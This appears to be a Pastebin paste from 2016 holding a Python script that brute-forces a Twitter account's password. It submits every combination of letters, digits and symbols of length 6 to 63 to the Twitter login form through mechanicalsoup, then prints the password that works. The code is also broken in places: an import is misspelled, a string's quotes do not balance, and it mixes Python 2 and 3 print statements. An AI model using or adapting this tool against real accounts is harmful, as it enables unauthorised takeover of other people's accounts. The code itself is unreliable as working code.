Advertisement
Guest User

Untitled

a guest
Dec 24th, 2016
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.23 KB | None | 0 0
  1. url = "https://twitter.com/login"
  2. op = mechanicalsoup.Browser()
  3. op.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
  4. def login(usr, psw):
  5. global op, url
  6. op.open(url)
  7. op.select_form(nr=2)
  8. op.form["session[username_or_email]"] = usr
  9. op.form["session[password]"] = psw
  10. op.submit()
  11.  
  12. if op.title() == "Twitter":
  13. return True
  14. else:
  15. return False
  16. from itertools import product
  17. from string import ascii_lowercase, asciiuppercase, digits
  18. spec = ",./;'#-=!"£$%^&* +?:@~ "
  19. chars = ascii_lowercase + ascii_uppercase + digits + spec
  20.  
  21. import TwittLoginAPI
  22.  
  23. un = input("Account Username: ")
  24.  
  25. try:
  26. state = False
  27. for i in range(6, 64):
  28. if state:
  29. break
  30. for x in product(chars, repeat=i):
  31. tmp = ""
  32. for z in x:
  33. tmp += z
  34. print (tmp)
  35. if TwittLoginAPI.login(un, tmp):
  36. state = True
  37. break
  38. print "\n\n\n"
  39. print "Account: ", un
  40. print "Password: ", tmp
  41. input("Press Enter to Quit")
  42. except KeyboardInterrupt:
  43. print "User has Quit"
  44. input("Press Enter to Quit")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement